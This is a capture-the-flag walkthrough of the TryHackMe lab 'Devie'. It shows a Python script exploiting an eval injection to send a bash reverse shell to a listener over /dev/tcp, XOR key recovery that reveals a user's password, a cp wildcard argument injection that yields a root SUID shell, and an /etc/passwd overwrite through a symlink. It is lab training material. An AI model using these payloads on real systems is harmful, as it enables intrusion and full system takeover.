Home TryHackMe - Devie
Post
Cancel

TryHackMe - Devie

Don’t always trust what you can’t see.

This machine starts off with a website that solves mathematical equations. On the website we can download the source code, which we can use to find out where the vulnerability, that will allow us to get the foothold for this box, lies.

Homepage

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -sC -sV  -A  -oN nmap_result MACHINE_IP
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-03 16:30 CEST
Nmap scan report for 10.10.93.125
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c9727bf5b62ed5995614de43093a6492 (RSA)
|   256 0b75585ab9f75ba9ffefad71c1090a33 (ECDSA)
|_  256 7df9c9f867f9954e016823a47b8c9830 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Mon, 03 Apr 2023 14:30:45 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 4486
|     Connection: close

The nmap result shows the web-server running on port 5000.

Foothold

We can download the source code for this web application. Upon looking through the source code, my initial thought was Server-Side Template Injection as it seemed to output data onto the website, but this didn’t look exploitable. In the app.py file, we notice eval being used.

1
2
3
4
5
6
7
@app.route("/")
def bisect(xa,xb):
    added = xa + " + " + xb
    c = eval(added)
    c = int(c)/2
    ya = (int(xa)**6) - int(xa) - 1 #f(a)
    yb = (int(xb)**6) - int(xb) - 1 #f(b)

The input is user input so we can exploit this to run arbitrary commands so we can spawn a reverse shell by inputting __import__('os').system("COMMAND"). We set up a listener and run the exploit script.

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://MACHINE_IP:5000"

rev_shell = "__import__('os').system(\"bash+-c+'bash+-i+>%26+/dev/tcp/10.18.11.118/9001+0>%261'\")#"
payload = f"xa={rev_shell}&xb=3"
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
    "Content-Type": "application/x-www-form-urlencoded"
}

response = requests.post(url, data=payload, headers=headers)

Lateral movement

We check out the account we got access to and find the first flag. We also see a note and find out we can run /usr/bin/python3 /opt/encrypt.py as sudo (gordon) without needing a password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bruce@devie:~$ id 
id
uid=1000(bruce) gid=1000(bruce) groups=1000(bruce)
bruce@devie:~$ ls
ls
checklist
flag1.txt
note
bruce@devie:~$ cat flag1.txt
cat flag1.txt
THM{**REDACTED**}
bruce@devie:~$ cat note
cat note
Hello Bruce,

I have encoded my password using the super secure XOR format.

I made the key quite lengthy and spiced it up with some base64 at the end to make it even more secure. Ill share the decoding script for it soon. However, you can use my script located in the /opt/ directory.

For now look at this super secure string:
NEUEDTIeN1MRDg5K

Gordon
bruce@devie:~$ sudo -l
sudo -l
Matching Defaults entries for bruce on devie:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bruce may run the following commands on devie:
    (gordon) NOPASSWD: /usr/bin/python3 /opt/encrypt.py

Running this script uses XOR to encrypt a provided value and then base64 encodes the encrypted value. XOR is considered a weak cipher because it’s vulnerable to Known-plain-text attacks (KPA), which is basically, when you have two values you can always derive the third value:

  • plain-text x key = encrypted_text
  • encrypted_text x plain-text = key
  • encrypted_text x key = plain-text

If the key is smaller than the plaintext, the key is repeated. If we provide a long enough password, we will be able to extract the full key.

1
2
3
4
bruce@devie:~$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py
sudo -u gordon /usr/bin/python3 /opt/encrypt.py
Enter a password to encrypt: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
EhQRBBMSBAITBBUKBBgZDhMZDhMSFBEEExIEAhMEFQoEGBkOExkOExIUEQQ=

We can make a python script that finds out these values for us by using the two known values, and the found secret in the notes file to find Gordon’s password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import base64
import sys

def cut_until_repeat(s):
    # if we provide a long enough value to encrypt the key will repeat.
    # An example would be for password "pass1234567890":
    # key123key123ke
    # we need to cut out key out of repeated values
    for i in range(1, len(s) // 2 + 1):
        if s[:i] * (len(s) // i) + s[:len(s) % i] == s:
            return s[:i]
    return s

def decode_string(base64_string):
    #convert base64 value to bytes for b64decode
    base64_bytes = base64_string.encode('ascii')
    # decode base64 value
    decoded_string = base64.b64decode(base64_bytes)
    # covert base64 decoded value back to a string
    base64_string_decoded = decoded_string.decode('ascii')
    return base64_string_decoded

def xor(password, key):
    xor=""
    # iterate over the shortest length of the provided values to avoid extra chars being returned
    for i in range(0,min(len(password), len(key))):
        xor += chr(ord(password[i]) ^ ord(key[i%len(key)]))
    return xor

password = sys.argv[1]
base64_string = sys.argv[2]
encrypted_secret = sys.argv[3]

base64_string_decoded = decode_string(base64_string)
encrypted_secret_decoded = decode_string(encrypted_secret)

key = cut_until_repeat(xor(password, base64_string_decoded))
print(f'found secret: {key}')
pw = xor(key, encrypted_secret_decoded)
print(f'found password: {pw}')
1
2
3
$ python3 xor.py aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa EhQRBBMSBAITBBUKBBgZDhMZDhMSFBEEExIEAhMEFQoEGBkOExkOExIUEQQ= NEUEDTIeN1MRDg5K
found secret: supersecretkeyxorxor
found password: G0th@mR0ckz!

Privilege Escalation

We can now use Gordon’s account to escalate our privileges. Looking into the Home directory, we find the second flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ id
uid=1001(gordon) gid=1001(gordon) groups=1001(gordon)
$ whoami
gordon
$ ls
bruce
gordon
$ cd gordon
$ ls
backups
flag2.txt
reports
$ cat flag2.txt
THM{**REDACTED**}

We also find as a reports and backups folder. From further investigation it looks like the report folder get back-upped into the backups folder each minute:

1
2
3
4
5
6
7
8
$ ls -lah
total 1.2M
drwxrwx--- 2 gordon gordon 4.0K Apr  4 09:44 .
drwxr-xr-x 4 gordon gordon 4.0K Aug  2  2022 ..
-rwsr-xr-x 1 root   root   1.2M Apr  4 09:47 bash
-rw-r--r-- 1 root   root     57 Apr  4 11:15 report1
-rw-r--r-- 1 root   root     72 Apr  4 11:15 report2
-rw-r--r-- 1 root   root    100 Apr  4 11:15 report3

We can’t find a cronjob by running cat /etc/crontab, we could run pspy to see which script gets executed but by enumeration we can also find this.

  • We first check all the files that have a suid id:

    find / -type f -perm -u=s -ls 2>/dev/null

  • We then check all the files that Gordon has access to, filtering out all the directories that contain “proc” or “sys”:

    find / -user gordon -type f 2>/dev/null | grep -v "proc\|sys"

  • Then we find which commands the group Gordon has access to:

    find / -type f -group gordon 2>/dev/null | grep -v "proc\|sys

The last command provides an interesting result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ find / -type f -group gordon 2>/dev/null | grep -v "proc\|sys"       
/opt/encrypt.py
/usr/bin/backup
/home/gordon/.profile
/home/gordon/.viminfo
/home/gordon/flag2.txt
/home/gordon/reports/bash
/home/gordon/reports/report2
/home/gordon/reports/report1
/home/gordon/reports/report3
/home/gordon/.bash_logout
/home/gordon/.bashrc
$ cat /usr/bin/backup
#!/bin/bash
cd /home/gordon/reports/
cp * /home/gordon/backups/

When looking at the script we can see there is an * being used as a wildcard to copy the files. This can lead to a wildcard exploit. By using the --preserve option we can write any file that will be owned as root to the /home/gordon/backups/ directory.

–preserve[=ATTR_LIST]

preserve the specified attributes (default: mode,ownership,timestamps), if possible additional attributes: context, links, xattr, all

We can copy bash to the reports directory, assign it the setuid bit (SUID) through chmod u+s bash. SUID allows users to run an executable with the file system permissions of the executable’s owner meaning that if bash gets copied through the wildcard exploit it will get root as owner. Allowing us to execute commands as root by spawning backups/bash.

We also have to add a empty file called --preserve=mode which will add this option to the cp command of the /usr/bin/backup script ensuring the setuid bit permission is maintained when it gets copied to the backups directory.

1
2
3
4
5
6
7
8
9
10
11
12
gordon@devie:~/reports$ cp /bin/bash .
gordon@devie:~/reports$ chmod u+s bash         
gordon@devie:~/reports$ echo '' > '--preserve=mode'        
gordon@devie:~/reports$ ls -lah
total 1.2M
drwxrwx--- 2 gordon gordon 4.0K Apr  4 09:44 .
drwxr-xr-x 4 gordon gordon 4.0K Aug  2  2022 ..
-rwsr-xr-x 1 gordon gordon 1.2M Apr  4 09:43 bash
-rw-rw-r-- 1 gordon gordon    1 Apr  4 09:44 --preserve=mode
-rw-r--r-- 1    640 gordon   57 Feb 19 23:31 report1
-rw-r--r-- 1    640 gordon   72 Feb 19 23:32 report2
-rw-r--r-- 1    640 gordon  100 Feb 19 23:33 report3

To make it understandable, we could look at how the cp command looks if we construct it as it would be executed:

1
cp bash report1 report2 report3 --preserve=mode /home/gordon/backups/

After waiting for a minute, we can go into the backups directory and execute bash which will spawn a root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
gordon@devie:~/backups$ ls -lah
total 1.2M
drwxrwx--- 2 gordon gordon 4.0K Apr  4 09:44 .
drwxr-xr-x 4 gordon gordon 4.0K Aug  2  2022 ..
-rwsr-xr-x 1 root   root   1.2M Apr  4 09:47 bash
-rw-r--r-- 1 root   root     57 Apr  4 11:29 report1
-rw-r--r-- 1 root   root     72 Apr  4 11:29 report2
-rw-r--r-- 1 root   root    100 Apr  4 11:29 report3
gordon@devie:~/backups$ ./bash -p
$ whoami
root
$ cat /root/root.txt
THM{**REDACTED**}

Alternative solution

In another write-up, an alternative solution had been documented. They made a copy of /etc/passwd in a newly made reports directory and then change uid and gid to 0 which is root.

From:

gordon:x:1001:1001::/home/gordon:/bin/bash

To:

gordon:x:0:0::/home/gordon:/bin/bash

They initially removed the backups folder and added a symlink to /etc:

1
ln -s /etc backups

When the backup script ran as root, the original /etc/passwd file gets overwritten by the modified one which is stored in reports/passwd.

1
2
3
4
5
6
gordon@devie:/home/gordon$ mv reports/ reports.bak/
gordon@devie:/home/gordon$ mv backups/ backups.bak/
gordon@devie:/home/gordon$ mkdir reports
gordon@devie:/home/gordon$ cp /etc/passwd reports
gordon@devie:/home/gordon$ vi reports/passwd 
gordon@devie:/home/gordon$ ln -s /etc/ backups

When re-authenticating as the gordon user, the gordon user now has root permissions:

1
2
3
4
gordon@devie:/home/gordon$ su - gordon
Password: 
root@devie:~$ whoami
root
This post is licensed under CC BY 4.0 by the author.